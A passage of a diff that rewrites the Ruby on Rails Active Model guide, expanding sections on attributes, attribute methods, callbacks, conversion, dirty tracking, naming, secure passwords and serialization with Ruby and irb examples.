+methods](https://api.rubyonrails.org/classes/ActionView/Helpers.html), just like
+Active Record objects.
+
+For example, `form_with` can be used to create a form for an `EmailContact`
+object as follows:
+
+```html+erb
+<%= form_with model: EmailContact.new do |form| %>
+  <%= form.text_field :name %>
+<% end %>
+```
+
+which results in the following HTML:
+
+```html
+<form action="/email_contacts" method="post">
+  <input type="text" name="email_contact[name]" id="email_contact_name">
+</form>
+```
+
+`render` can be used to render a partial with the object:
+
+```html+erb
+<%= render @email_contact %>
+```
+
+NOTE: You can learn more about how to use `form_with` and `render` with
+`ActiveModel::API` compatible objects in the [Action View Form
+Helpers](form_helpers.html) and [Layouts and
+Rendering](layouts_and_rendering.html)
+guides, respectively.
+
+### Model
+
+[`ActiveModel::Model`](https://api.rubyonrails.org/classes/ActiveModel/Model.html)
+includes [ActiveModel::API](#api) to interact with Action Pack and Action View
+by default, and is the recommended approach to implement model-like Ruby
+classes. It will be extended in the future to add more functionality.
+
+```ruby
+class Person
+  include ActiveModel::Model
+
+  attr_accessor :name, :age
+end
+```
+
+```irb
+irb> person = Person.new(name: 'bob', age: '18')
+irb> person.name # => "bob"
+irb> person.age  # => "18"
+```
+
+### Attributes
+
+[`ActiveModel::Attributes`](https://api.rubyonrails.org/classes/ActiveModel/Attributes.html)
+allows you to define data types, set default values, and handle casting and
+serialization on plain Ruby objects. This can be useful for form data which will
+produce Active Record-like conversion for things like dates and booleans on
+regular objects.
+
+To use `Attributes`, include the module in your model class and define your
+attributes using the `attribute` macro. It accepts a name, a cast type, a
+default value, and any other options supported by the attribute type.
+
+```ruby
+class Person
+  include ActiveModel::Attributes
+
+  attribute :name, :string
+  attribute :date_of_birth, :date
+  attribute :active, :boolean, default: true
+end
+```
+
+```irb
+irb> person = Person.new
+
+irb> person.name = "Jane"
+irb> person.name
+=> "Jane"
+
+# Casts the string to a date set by the attribute
+irb> person.date_of_birth = "2020-01-01"
+irb> person.date_of_birth
+=> Wed, 01 Jan 2020
+irb> person.date_of_birth.class
+=> Date
+
+# Uses the default value set by the attribute
+irb> person.active
+=> true
+
+# Casts the integer to a boolean set by the attribute
+irb> person.active = 0
+irb> person.active
+=> false
+```
+
+Some additional methods described below are available when using
+`ActiveModel::Attributes`.
+
+#### Method: `attribute_names`
+
+The `attribute_names` method returns an array of attribute names.
+
+```irb
+irb> Person.attribute_names
+=> ["name", "date_of_birth", "active"]
+```
+
+#### Method: `attributes`
+
+The `attributes` method returns a hash of all the attributes with their names as
+keys and the values of the attributes as values.
+
+```irb
+irb> person.attributes
+=> {"name" => "Jane", "date_of_birth" => Wed, 01 Jan 2020, "active" => false}
+```
+
+### Attribute Assignment
+
+[`ActiveModel::AttributeAssignment`](https://api.rubyonrails.org/classes/ActiveModel/AttributeAssignment.html)
+allows you to set an object's attributes by passing in a hash of attributes with
+keys matching the attribute names. This is useful when you want to set multiple
+attributes at once.
+
+Consider the following class:
+
+```ruby
+class Person
+  include ActiveModel::AttributeAssignment
+
+  attr_accessor :name, :date_of_birth, :active
+end
+```
+
+```irb
+irb> person = Person.new
+
+# Set multiple attributes at once
+irb> person.assign_attributes(name: "John", date_of_birth: "1998-01-01", active: false)
+
+irb> person.name
+=> "John"
+irb> person.date_of_birth
+=> Thu, 01 Jan 1998
+irb> person.active
+=> false
+```
+
+If the passed hash responds to the `permitted?` method and the return value of
+this method is `false`, an `ActiveModel::ForbiddenAttributesError` exception is
+raised.
+
+NOTE: `permitted?` is used for [strong
+params](https://guides.rubyonrails.org/action_controller_overview.html#strong-parameters)
+integration whereby you are assigning a params attribute from a request.
+
+```irb
+irb> person = Person.new
+
+# Using strong parameters checks, build a hash of attributes similar to params from a request
+irb> params = ActionController::Parameters.new(name: "John")
+=> #<ActionController::Parameters {"name" => "John"} permitted: false>
+
+irb> person.assign_attributes(params)
+=> # Raises ActiveModel::ForbiddenAttributesError
+irb> person.name
+=> nil
+
+# Permit the attributes we want to allow assignment
+irb> permitted_params = params.permit(:name)
+=> #<ActionController::Parameters {"name" => "John"} permitted: true>
+
+irb> person.assign_attributes(permitted_params)
+irb> person.name
+=> "John"
+```
+
+#### Method alias: `attributes=`
+
+The `assign_attributes` method has an alias `attributes=`.
+
+INFO: A method alias is a method that performs the same action as another
+method, but is called something different. Aliases exist for the sake of
+readability and convenience.
+
+The following example demonstrates the use of the `attributes=` method to set
+multiple attributes at once:
+
+```irb
+irb> person = Person.new
+
+irb> person.attributes = { name: "John", date_of_birth: "1998-01-01", active: false }
+
+irb> person.name
+=> "John"
+irb> person.date_of_birth
+=> "1998-01-01"
+```
+
+INFO: `assign_attributes` and `attributes=` are both method calls, and accept
+the hash of attributes to assign as an argument. In many cases, Ruby allows
+parens `()` from method calls, and curly braces `{}` from hash definitions, to
+be omitted. <br><br>
+"Setter" methods like `attributes=` are commonly written without `()`, even
+though including them works the same, and they require the hash to always
+include `{}`. `person.attributes=({ name: "John" })` is fine, but
+`person.attributes = name: "John"` results in a `SyntaxError`.<br><br>
+Other method calls like `assign_attributes` may or may not contain both parens
+`()` and `{}` for the hash argument. For example, `assign_attributes name:
+"John"` and `assign_attributes({ name: "John" })` are both perfectly valid Ruby
+code, however, `assign_attributes { name: "John" }` is not, because Ruby can't
+differentiate that hash argument from a block, and will raise a `SyntaxError`.
+
 ### Attribute Methods
 
-The `ActiveModel::AttributeMethods` module can add custom prefixes and suffixes
-on methods of a class. It is used by defining the prefixes and suffixes and
-which methods on the object will use them.
+[`ActiveModel::AttributeMethods`](https://api.rubyonrails.org/classes/ActiveModel/AttributeMethods.html)
+provides a way to define methods dynamically for attributes of a model. This
+module is particularly useful to simplify attribute access and manipulation, and
+it can add custom prefixes and suffixes to the methods of a class. You can
+define the prefixes and suffixes and which methods on the object will use them
+as follows:
+
+1. Include `ActiveModel::AttributeMethods` in your class.
+2. Call each of the methods you want to add, such as `attribute_method_suffix`,
+   `attribute_method_prefix`, `attribute_method_affix`.
+3. Call `define_attribute_methods` after the other methods to declare the
+   attribute(s) that should be prefixed and suffixed.
+4. Define the various generic `_attribute` methods that you have declared. The
+    parameter `attribute` in these methods will be replaced by the argument
+    passed in `define_attribute_methods`. In the example below it's `name`.
+
+NOTE: `attribute_method_prefix` and `attribute_method_suffix` are used to define
+the prefixes and suffixes that will be used to create the methods.
+`attribute_method_affix` is used to define both the prefix and suffix at the
+same time.
 
 ```ruby
 class Person
   include ActiveModel::AttributeMethods
 
-  attribute_method_prefix 'reset_'
-  attribute_method_suffix '_highest?'
-  define_attribute_methods 'age'
+  attribute_method_affix prefix: "reset_", suffix: "_to_default!"
+  attribute_method_prefix "first_", "last_"
+  attribute_method_suffix "_short?"
+
+  define_attribute_methods "name"
 
-  attr_accessor :age
+  attr_accessor :name
 
   private
-    def reset_attribute(attribute)
-      send("#{attribute}=", 0)
+    # Attribute method call for 'first_name'
+    def first_attribute(attribute)
+      public_send(attribute).split.first
+    end
+
+    # Attribute method call for 'last_name'
+    def last_attribute(attribute)
+      public_send(attribute).split.last
     end
 
-    def attribute_highest?(attribute)
-      send(attribute) > 100
+    # Attribute method call for 'name_short?'
+    def attribute_short?(attribute)
+      public_send(attribute).length < 5
+    end
+
+    # Attribute method call 'reset_name_to_default!'
+    def reset_attribute_to_default!(attribute)
+      public_send("#{attribute}=", "Default Name")
+    end
+end
+```
+
+```irb
+irb> person = Person.new
+irb> person.name = "Jane Doe"
+
+irb> person.first_name
+=> "Jane"
+irb> person.last_name
+=> "Doe"
+
+irb> person.name_short?
+=> false
+
+irb> person.reset_name_to_default!
+=> "Default Name"
+```
+
+If you call a method that is not defined, it will raise a `NoMethodError` error.
+
+#### Method: `alias_attribute`
+
+`ActiveModel::AttributeMethods` provides aliasing of attribute methods using
+`alias_attribute`.
+
+The example below creates an alias attribute for `name` called `full_name`. They
+return the same value, but the alias `full_name` better reflects that the
+attribute includes a first name and last name.
+
+```ruby
+class Person
+  include ActiveModel::AttributeMethods
+
+  attribute_method_suffix "_short?"
+  define_attribute_methods :name
+
+  attr_accessor :name
+
+  alias_attribute :full_name, :name
+
+  private
+    def attribute_short?(attribute)
+      public_send(attribute).length < 5
     end
 end
+```
 
-person = Person.new
-person.age = 110
-person.age_highest?  # => true
-person.reset_age     # => 0
-person.age_highest?  # => false
+```irb
+irb> person = Person.new
+irb> person.name = "Joe Doe"
+irb> person.name
+=> "Joe Doe"
+
+# `full_name` is the alias for `name`, and returns the same value
+irb> person.full_name
+=> "Joe Doe"
+irb> person.name_short?
+=> false
+
+# `full_name_short?` is the alias for `name_short?`, and returns the same value
+irb> person.full_name_short?
+=> false
 ```
 
 ### Callbacks
 
-`ActiveModel::Callbacks` gives Active Record style callbacks. This provides an
-ability to define callbacks which run at appropriate times.
-After defining callbacks, you can wrap them with before, after and around
-custom methods.
+[`ActiveModel::Callbacks`](https://api.rubyonrails.org/classes/ActiveModel/Callbacks.html)
+gives plain Ruby objects [Active Record style
+callbacks](active_record_callbacks.html). The
+callbacks allow you to hook into model lifecycle events, such as `before_update`
+and `after_create`, as well as to define custom logic to be executed at specific
+points in the model's lifecycle.
+
+You can implement `ActiveModel::Callbacks` by following the steps below:
+
+1. Extend `ActiveModel::Callbacks` within your class.
+2. Employ `define_model_callbacks` to establish a list of methods that should
+   have callbacks associated with them. When you designate a method such as
+   `:update`, it will automatically include all three default callbacks
+   (`before`, `around`, and `after`) for the `:update` event.
+3. Inside the defined method, utilize `run_callbacks`, which will execute the
+   callback chain when the specific event is triggered.
+4. In your class, you can then utilize the `before_update`, `after_update`, and
+   `around_update` methods like how you would use them in an Active Record
+   model.
 
 ```ruby
 class Person
@@ -71,261 +463,794 @@ class Person
   define_model_callbacks :update
 
   before_update :reset_me
+  after_update :finalize_me
+  around_update :log_me
 
+  # `define_model_callbacks` method containing `run_callbacks` which runs the callback(s) for the given event
   def update
     run_callbacks(:update) do
-      # This method is called when update is called on an object.
+      puts "update method called"
     end
   end
 
-  def reset_me
-    # This method is called when update is called on an object as a before_update callback is defined.
+  private
+    # When update is called on an object, then this method is called by `before_update` callback
+    def reset_me
+      puts "reset_me method: called before the update method"
+    end
+
+    # When update is called on an object, then this method is called by `after_update` callback
+    def finalize_me
+      puts "finalize_me method: called after the update method"
+    end
+
+    # When update is called on an object, then this method is called by `around_update` callback
+    def log_me
+      puts "log_me method: called around the update method"
+      yield
+      puts "log_me method: block successfully called"
+    end
+end
+```
+
+The above class will yield the following which indicates the order in which the
+callbacks are being called:
+
+```irb
+irb> person = Person.new
+irb> person.update
+reset_me method: called before the update method
+log_me method: called around the update method
+update method called
+log_me method: block successfully called
+finalize_me method: called after the update method
+=> nil
+```
+
+As per the above example, when defining an 'around' callback remember to `yield`
+to the block, otherwise, it won't be executed.
+
+NOTE: `method_name` passed to `define_model_callbacks` must not end with `!`,
+`?` or `=`. In addition, defining the same callback multiple times will
+overwrite previous callback definitions.
+
+#### Defining Specific Callbacks
+
+You can choose to create specific callbacks by passing the `only` option to the
+`define_model_callbacks` method:
+
+```ruby
+define_model_callbacks :update, :create, only: [:after, :before]
+```
+
+This will create only the `before_create` / `after_create` and `before_update` /
+ `after_update` callbacks, but skip the `around_*` ones. The option will apply
+to all callbacks defined on that method call. It's possible to call
+`define_model_callbacks` multiple times, to specify different lifecycle events:
+
+```ruby
+define_model_callbacks :create, only: :after
+define_model_callbacks :update, only: :before
+define_model_callbacks :destroy, only: :around
+```
+
+This will create `after_create`, `before_update`, and `around_destroy` methods
+only.
+
+#### Defining Callbacks with a Class
+
+You can pass a class to `before_<type>`, `after_<type>` and `around_<type>` for
+more control over when and in what context your callbacks are triggered. The
+callback will trigger that class's `<action>_<type>` method, passing an instance
+of the class as an argument.
+
+```ruby
+class Person
+  extend ActiveModel::Callbacks
+
+  define_model_callbacks :create
+  before_create PersonCallbacks
+end
+
+class PersonCallbacks
+  def self.before_create(obj)
+    # `obj` is the Person instance that the callback is being called on
+  end
+end
+```
+
+#### Aborting Callbacks
+
+The callback chain can be aborted at any point in time by throwing `:abort`.
+This is similar to how Active Record callbacks work.
+
+In the example below, since we throw `:abort` before an update in the `reset_me`
+method, the remaining callback chain including `before_update` will be aborted,
+and the body of the `update` method won't be executed.
+
+```ruby
+class Person
+  extend ActiveModel::Callbacks
+
+  define_model_callbacks :update
+
+  before_update :reset_me
+  after_update :finalize_me
+  around_update :log_me
+
+  def update
+    run_callbacks(:update) do
+      puts "update method called"
+    end
   end
+
+  private
+    def reset_me
+      puts "reset_me method: called before the update method"
+      throw :abort
+      puts "reset_me method: some code after abort"
+    end
+
+    def finalize_me
+      puts "finalize_me method: called after the update method"
+    end
+
+    def log_me
+      puts "log_me method: called around the update method"
+      yield
+      puts "log_me method: block successfully called"
+    end
 end
 ```
 
+```irb
+irb> person = Person.new
+
+irb> person.update
+reset_me method: called before the update method
+=> false
+```
+
 ### Conversion
 
-If a class defines `persisted?` and `id` methods, then you can include the
-`ActiveModel::Conversion` module in that class and call the Rails conversion
-methods on objects of that class.
+[`ActiveModel::Conversion`](https://api.rubyonrails.org/classes/ActiveModel/Conversion.html)
+is a collection of methods that allow you to convert your object to different
+forms for different purposes. A common use case is to convert your object to a
+string or an integer to build URLs, form fields, and more.
+
+The `ActiveModel::Conversion` module adds the following methods: `to_model`,
+`to_key`, `to_param`, and `to_partial_path` to classes.
+
+The return values of the methods depend on whether `persisted?` is defined and
+if an `id` is provided. The `persisted?` method should return `true` if the
+object has been saved to the database or store, otherwise, it should return
+`false`. The `id` should reference the id of the object or nil if the object is
+not saved.
 
 ```ruby
 class Person
   include ActiveModel::Conversion
+  attr_accessor :id
+
+  def initialize(id)
+    @id = id
+  end
 
   def persisted?
-    false
+    id.present?
   end
+end
+```
 
-  def id
-    nil
+#### to_model
+
+The `to_model` method returns the object itself.
+
+```irb
+irb> person = Person.new(1)
+irb> person.to_model == person
+=> true
+```
+
+If your model does not act like an Active Model object, then you should define
+`:to_model` yourself returning a proxy object that wraps your object with Active
+Model compliant methods.
+
+```ruby
+class Person
+  def to_model
+    # A proxy object that wraps your object with Active Model compliant methods.
+    PersonModel.new(self)
   end
 end
+```
+
+#### to_key
 
-person = Person.new
-person.to_model == person  # => true
-person.to_key              # => nil
-person.to_param            # => nil
+The `to_key` method returns an array of the object's key attributes if any of
+the attributes are set, whether or not the object is persisted. Returns nil if
+there are no key attributes.
+
+```irb
+irb> person.to_key
+=> [1]
+```
+
+NOTE: A key attribute is an attribute that is used to identify the object. For
+example, in a database-backed model, the key attribute is the primary key.
+
+#### to_param
+
+The `to_param` method returns a `string` representation of the object's key
+suitable for use in URLs, or `nil` in the case where `persisted?` is `false`.
+
+```irb
+irb> person.to_param
+=> "1"
+```
+
+#### to_partial_path
+
+The `to_partial_path` method returns a `string` representing the path associated
+with the object. Action Pack uses this to find a suitable partial to represent
+the object.
+
+```irb
+irb> person.to_partial_path
+=> "people/person"
 ```
 
 ### Dirty
 
+[`ActiveModel::Dirty`](https://api.rubyonrails.org/classes/ActiveModel/Dirty.html)
+is useful for tracking changes made to model attributes before they are saved.
+This functionality allows you to determine which attributes have been modified,
+what their previous and current values are, and perform actions based on those
+changes. It's particularly handy for auditing, validation, and conditional logic
+within your application. It provides a way to track changes in your object in
+the same way as Active Record.
+
 An object becomes dirty when it has gone through one or more changes to its
-attributes and has not been saved. `ActiveModel::Dirty` gives the ability to
-check whether an object has been changed or not. It also has attribute based
-accessor methods. Let's consider a Person class with attributes `first_name`
-and `last_name`:
+attributes and has not been saved. It has attribute-based accessor methods.
+
+To use `ActiveModel::Dirty`, you need to:
+
+1. Include the module in your class.
+2. Define the attribute methods that you want to track changes for, using
+  `define_attribute_methods`.
+3. Call `[attr_name]_will_change!` before each change to the tracked attribute.
+4. Call `changes_applied` after the changes are persisted.
+5. Call `clear_changes_information` when you want to reset the changes
+   information.
+6. Call `restore_attributes` when you want to restore previous data.
+
+You can then use the methods provided by `ActiveModel::Dirty` to query the
+object for its list of all changed attributes, the original values of the
+changed attributes, and the changes made to the attributes.
+
+Let's consider a `Person` class with attributes `first_name` and `last_name` and
+determine how we can use `ActiveModel::Dirty` to track changes to these
+attributes.
 
 ```ruby
 class Person
   include ActiveModel::Dirty
+
+  attr_reader :first_name, :last_name
   define_attribute_methods :first_name, :last_name
 
-  def first_name
-    @first_name
+  def initialize
+    @first_name = nil
+    @last_name = nil
   end
 
   def first_name=(value)
-    first_name_will_change!
+    first_name_will_change! unless value == @first_name
     @first_name = value
   end
 
-  def last_name
-    @last_name
-  end
-
   def last_name=(value)
-    last_name_will_change!
+    last_name_will_change! unless value == @last_name
     @last_name = value
   end
 
   def save
-    # do save work...
+    # Persist data - clears dirty data and moves `changes` to `previous_changes`.
     changes_applied
   end
+
+  def reload!
+    # Clears all dirty data: current changes and previous changes.
+    clear_changes_information
+  end
+
+  def rollback!
+    # Restores all previous data of the provided attributes.
+    restore_attributes
+  end
 end
 ```
 
-#### Querying object directly for its list of all changed attributes.
+#### Querying an Object Directly for its List of All Changed Attributes
 
-```ruby
-person = Person.new
-person.changed? # => false
+```irb
+irb> person = Person.new
+
+# A newly instantiated `Person` object is unchanged:
+irb> person.changed?
+=> false
 
-person.first_name = "First Name"
-person.first_name # => "First Name"
+irb> person.first_name = "Jane Doe"
+irb> person.first_name
+=> "Jane Doe"
+```
 
-# returns true if any of the attributes have unsaved changes, false otherwise.
-person.changed? # => true
+**`changed?`** returns `true` if any of the attributes have unsaved changes,
+`false` otherwise.
 
-# returns a list of attributes that have changed before saving.
-person.changed # => ["first_name"]
+```irb
+irb> person.changed?
+=> true
+```
 
-# returns a hash of the attributes that have changed with their original values.
-person.changed_attributes # => {"first_name"=>nil}
+**`changed`** returns an array with the name of the attributes containing
+unsaved changes.
 
-# returns a hash of changes, with the attribute names as the keys, and the values will be an array of the old and new value for that field.
-person.changes # => {"first_name"=>[nil, "First Name"]}
+```irb
+irb> person.changed
+=> ["first_name"]
 ```
 
-#### Attribute based accessor methods
+**`changed_attributes`** returns a hash of the attributes with unsaved changes
+indicating their original values like `attr => original value`.
+
+```irb
+irb> person.changed_attributes
+=> {"first_name" => nil}
+```
 
-Track whether the particular attribute has been changed or not.
+**`changes`** returns a hash of changes, with the attribute names as the keys,
+and the values as an array of the original and new values like `attr => [original value, new value]`.
 
-```ruby
-# attr_name_changed?
-person.first_name # => "First Name"
-person.first_name_changed? # => true
+```
+irb> person.changes
+=> {"first_name" => [nil, "Jane Doe"]}
 ```
 
-Track what was the previous value of the attribute.
+**`previous_changes`** returns a hash of attributes that were changed before the
+model was saved (i.e. before `changes_applied` is called).
 
-```ruby
-# attr_name_was accessor
-person.first_name_was # => nil
+```irb
+irb> person.previous_changes
+=> {}
+
+irb> person.save
+irb> person.previous_changes
+=> {"first_name" => [nil, "Jane Doe"]}
 ```
 
-Track both previous and current value of the changed attribute. Returns an array
-if changed, else returns nil.
+#### Attribute-based Accessor Methods
 
-```ruby
-# attr_name_change
-person.first_name_change # => [nil, "First Name"]
-person.last_name_change # => nil
+```irb
+irb> person = Person.new
+
+irb> person.changed?
+=> false
+
+irb> person.first_name = "John Doe"
+irb> person.first_name
+=> "John Doe"
 ```
 
-### Validations
+**`[attr_name]_changed?`** checks whether the particular attribute has been
+changed or not.
 
-The `ActiveModel::Validations` module adds the ability to validate class objects
-like in Active Record.
+```
+irb> person.first_name_changed?
+=> true
+```
 
-```ruby
-class Person
-  include ActiveModel::Validations
+**`[attr_name]_was`** tracks the previous value of the attribute.
 
-  attr_accessor :name, :email, :token
+```irb
+irb> person.first_name_was
+=> nil
+```
 
-  validates :name, presence: true
-  validates_format_of :email, with: /\A([^\s]+)((?:[-a-z0-9]\.)[a-z]{2,})\z/i
-  validates! :token, presence: true
-end
+**`[attr_name]_change`** tracks both the previous and current values of the
+changed attribute. Returns an array with `[original value, new value]` if
+changed, otherwise returns `nil`.
 
-person = Person.new
-person.token = "2b1f325"
-person.valid?                        # => false
-person.name = 'vishnu'
-person.email = 'me'
-person.valid?                        # => false
-person.email = 'me@vishnuatrai.com'
-person.valid?                        # => true
-person.token = nil
-person.valid?                        # => raises ActiveModel::StrictValidationFailed
+```irb
+irb> person.first_name_change
+=> [nil, "John Doe"]
+irb> person.last_name_change
+=> nil
+```
+
+**`[attr_name]_previously_changed?`** checks whether the particular attribute
+has been changed before the model was saved (i.e. before `changes_applied` is
+called).
+
+```irb
+irb> person.first_name_previously_changed?
+=> false
+irb> person.save
+irb> person.first_name_previously_changed?
+=> true
+```
+
+**`[attr_name]_previous_change`** tracks both previous and current values of the
+changed attribute before the model was saved (i.e. before `changes_applied` is
+called). Returns an array with `[original value, new value]` if changed,
+otherwise returns `nil`.
+
+```irb
+irb> person.first_name_previous_change
+=> [nil, "John Doe"]
 ```
 
 ### Naming
 
-`ActiveModel::Naming` adds a number of class methods which make the naming and routing
-easier to manage. The module defines the `model_name` class method which
-will define a number of accessors using some `ActiveSupport::Inflector` methods.
+[`ActiveModel::Naming`](https://api.rubyonrails.org/classes/ActiveModel/Naming.html)
+adds a class method and helper methods to make naming and routing easier to
+manage. The module defines the `model_name` class method which will define
+several accessors using some
+[`ActiveSupport::Inflector`](https://api.rubyonrails.org/classes/ActiveSupport/Inflector.html)
+methods.
 
 ```ruby
 class Person
   extend ActiveModel::Naming
 end
+```
 
-Person.model_name.name                # => "Person"
-Person.model_name.singular            # => "person"
-Person.model_name.plural              # => "people"
-Person.model_name.element             # => "person"
-Person.model_name.human               # => "Person"
-Person.model_name.collection          # => "people"
-Person.model_name.param_key           # => "person"
-Person.model_name.i18n_key            # => :person
-Person.model_name.route_key           # => "people"
-Person.model_name.singular_route_key  # => "person"
+**`name`** returns the name of the model.
+
+```irb
+irb> Person.model_name.name
+=> "Person"
 ```
 
-### Model
+**`singular`** returns the singular class name of a record or class.
 
-`ActiveModel::Model` adds the ability to a class to work with Action Pack and
-Action View right out of the box.
+```irb
+irb> Person.model_name.singular
+=> "person"
+```
 
-```ruby
-class EmailContact
-  include ActiveModel::Model
+**`plural`** returns the plural class name of a record or class.
 
-  attr_accessor :name, :email, :message
-  validates :name, :email, :message, presence: true
+```irb
+irb> Person.model_name.plural
+=> "people"
+```
 
-  def deliver
-    if valid?
-      # deliver email
+**`element`** removes the namespace and returns the singular snake_cased name.
+It is generally used by Action Pack and/or Action View helpers to aid in
+rendering the name of partials/forms.
+
+```irb
+irb> Person.model_name.element
+=> "person"
+```
+
+**`human`** transforms the model name into a more human format, using I18n. By
+default, it will underscore and then humanize the class name.
+
+```irb
+irb> Person.model_name.human
+=> "Person"
+```
+
+**`collection`** removes the namespace and returns the plural snake_cased name.
+It is generally used by Action Pack and/or Action View helpers to aid in
+rendering the name of partials/forms.
+
+```irb
+irb> Person.model_name.collection
+=> "people"
+```
+
+**`param_key`** returns a string to use for params names.
+
+```irb
+irb> Person.model_name.param_key
+=> "person"
+```
+
+**`i18n_key`** returns the name of the i18n key. It underscores the model name
+and then returns it as a symbol.
+
+```irb
+irb> Person.model_name.i18n_key
+=> :person
+```
+
+**`route_key`** returns a string to use while generating route names.
+
+```irb
+irb> Person.model_name.route_key
+=> "people"
+```
+
+**`singular_route_key`** returns a string to use while generating route names.
+
+```irb
+irb> Person.model_name.singular_route_key
+=> "person"
+```
+
+**`uncountable?`** identifies whether the class name of a record or class is
+uncountable.
+
+```irb
+irb> Person.model_name.uncountable?
+=> false
+```
+
+NOTE: Some `Naming` methods, like `param_key`, `route_key` and
+`singular_route_key`, differ for namespaced models based on whether it's inside
+an isolated [Engine](engines.html).
+
+#### Customize the Name of the Model
+
+Sometimes you may want to customize the name of the model that is used in form
+helpers and URL generation. This can be useful in situations where you want to
+use a more user-friendly name for the model, while still being able to reference
+it using its full namespace.
+
+For example, let's say you have a `Person` namespace in your Rails application,
+and you want to create a form for a new `Person::Profile`.
+
+By default, Rails would generate the form with the URL `/person/profiles`, which
+includes the namespace `person`. However, if you want the URL to simply point to
+`profiles` without the namespace, you can customize the `model_name` method like
+this:
+
+```ruby
+module Person
+  class Profile
+    include ActiveModel::Model
+
+    def self.model_name
+      ActiveModel::Name.new(self, nil, "Profile")
     end
   end
 end
 ```
 
-When including `ActiveModel::Model` you get some features like:
+With this setup, when you use the `form_with` helper to create a form for
+creating a new `Person::Profile`, Rails will generate the form with the URL
+`/profiles` instead of `/person/profiles`, because the `model_name` method has
+been overridden to return `Profile`.
+
+In addition, the path helpers will be generated without the namespace, so you
+can use `profiles_path` instead of `person_profiles_path` to generate the URL
+for the `profiles` resource. To use the `profiles_path` helper, you need to
+define the routes for the `Person::Profile` model in your `config/routes.rb`
+file like this:
+
+```ruby
+Rails.application.routes.draw do
+  resources :profiles
+end
+```
+
+Consequently, you can expect the model to return the following values for
+methods that were described in the previous section:
 
-- model name introspection
-- conversions
-- translations
-- validations
+```irb
+irb> name = ActiveModel::Name.new(Person::Profile, nil, "Profile")
+=> #<ActiveModel::Name:0x000000014c5dbae0
 
-It also gives you the ability to initialize an object with a hash of attributes,
-much like any Active Record object.
+irb> name.singular
+=> "profile"
+irb> name.singular_route_key
+=> "profile"
+irb> name.route_key
+=> "profiles"
+```
+
+### SecurePassword
+
+[`ActiveModel::SecurePassword`](https://api.rubyonrails.org/classes/ActiveModel/SecurePassword.html)
+provides a way to securely store any password in an encrypted form. When you
+include this module, a `has_secure_password` class method is provided which
+defines a `password` accessor with certain validations on it by default.
+
+`ActiveModel::SecurePassword` depends on
+[`bcrypt`](https://github.com/bcrypt-ruby/bcrypt-ruby 'BCrypt'), so include this
+gem in your `Gemfile` to use it.
 
 ```ruby
-email_contact = EmailContact.new(name: 'David',
-                                 email: 'david@example.com',
-                                 message: 'Hello World')
-email_contact.name       # => 'David'
-email_contact.email      # => 'david@example.com'
-email_contact.valid?     # => true
-email_contact.persisted? # => false
+gem "bcrypt"
+```
+
+`ActiveModel::SecurePassword` requires you to have a `password_digest`
+attribute.
+
+The following validations are added automatically:
+
+1. Password must be present on creation.
+2. Confirmation of password (using a `password_confirmation` attribute).
+3. The maximum length of a password is 72 bytes (required as `bcrypt` truncates
+   the string to this size before encrypting it).
+
+NOTE: If password confirmation validation is not needed, simply leave out the
+value for `password_confirmation` (i.e. don't provide a form field for it). When
+this attribute has a `nil` value, the validation will not be triggered.
+
+For further customization, it is possible to suppress the default validations by
+passing `validations: false` as an argument.
+
+
+```ruby
+class Person
+  include ActiveModel::SecurePassword
+
+  has_secure_password
+  has_secure_password :recovery_password, validations: false
+
+  attr_accessor :password_digest, :recovery_password_digest
+end
 ```
 
-Any class that includes `ActiveModel::Model` can be used with `form_for`,
-`render` and any other Action View helper methods, just like Active Record
-objects.
+```irb
+irb> person = Person.new
+
+# When password is blank.
+irb> person.valid?
+=> false
+
+# When the confirmation doesn't match the password.
+irb> person.password = "aditya"
+irb> person.password_confirmation = "nomatch"
+irb> person.valid?
+=> false
+
+# When the length of password exceeds 72.
+irb> person.password = person.password_confirmation = "a" * 100
+irb> person.valid?
+=> false
+
+# When only password is supplied with no password_confirmation.
+irb> person.password = "aditya"
+irb> person.valid?
+=> true
+
+# When all validations are passed.
+irb> person.password = person.password_confirmation = "aditya"
+irb> person.valid?
+=> true
+
+irb> person.recovery_password = "42password"
+
+# `authenticate` is an alias for `authenticate_password`
+irb> person.authenticate("aditya")
+=> #<Person> # == person
+irb> person.authenticate("notright")
+=> false
+irb> person.authenticate_password("aditya")
+=> #<Person> # == person
+irb> person.authenticate_password("notright")
+=> false
+
+irb> person.authenticate_recovery_password("aditya")
+=> false
+irb> person.authenticate_recovery_password("42password")
+=> #<Person> # == person
+irb> person.authenticate_recovery_password("notright")
+=> false
+
+irb> person.password_digest
+=> "$2a$04$gF8RfZdoXHvyTjHhiU4ZsO.kQqV9oonYZu31PRE4hLQn3xM2qkpIy"
+irb> person.recovery_password_digest
+=> "$2a$04$iOfhwahFymCs5weB3BNH/uXkTG65HR.qpW.bNhEjFP3ftli3o5DQC"
+```
 
 ### Serialization
 
-`ActiveModel::Serialization` provides basic serialization for your object.
-You need to declare an attributes hash which contains the attributes you want to
-serialize. Attributes must be strings, not symbols.
+[`ActiveModel::Serialization`](https://api.rubyonrails.org/classes/ActiveModel/Serialization.html)
+provides basic serialization for your object. You need to declare an attributes
+hash that contains the attributes you want to serialize. Attributes must be
+strings, not symbols.
 
 ```ruby
 class Person
   include ActiveModel::Serialization
 
-  attr_accessor :name
+  attr_accessor :name, :age
 
   def attributes
-    {'name' => nil}
+    # Declaration of attributes that will be serialized
+    { "name" => nil, "age" => nil }
+  end
+
+  def capitalized_name
+    # Declared methods can be later included in the serialized hash
+    name&.capitalize
   end
 end
 ```
 
-Now you can access a serialized hash of your object using the `serializable_hash`.
+Now you can access a serialized hash of your object using the
+`serializable_hash` method. Valid options for `serializable_hash` include
+`:only`, `:except`, `:methods` and `:include`.
+
+```irb
+irb> person = Person.new
+
+irb> person.serializable_hash
+=> {"name" => nil, "age" => nil}
+
+# Set the name and age attributes and serialize the object
+irb> person.name = "bob"
+irb> person.age = 22
+irb> person.serializable_hash
+=> {"name" => "bob", "age" => 22}
+
+# Use the methods option to include the capitalized_name method
+irb>  person.serializable_hash(methods: :capitalized_name)
+=> {"name" => "bob", "age" => 22, "capitalized_name" => "Bob"}
+
+# Use the only method to include only the name attribute
+irb> person.serializable_hash(only: :name)
+=> {"name" => "bob"}
+
+# Use the except method to exclude the name attribute
+irb> person.serializable_hash(except: :name)
+=> {"age" => 22}
+```
+
+The example to utilize the `includes` option requires a slightly more complex
+scenario as defined below:
 
 ```ruby
-person = Person.new
-person.serializable_hash   # => {"name"=>nil}
-person.name = "Bob"
-person.serializable_hash   # => {"name"=>"Bob"}
+  class Person
+    include ActiveModel::Serialization
+    attr_accessor :name, :notes # Emulate has_many :notes
+
+    def attributes
+      { "name" => nil }
+    end
+  end
+
+  class Note
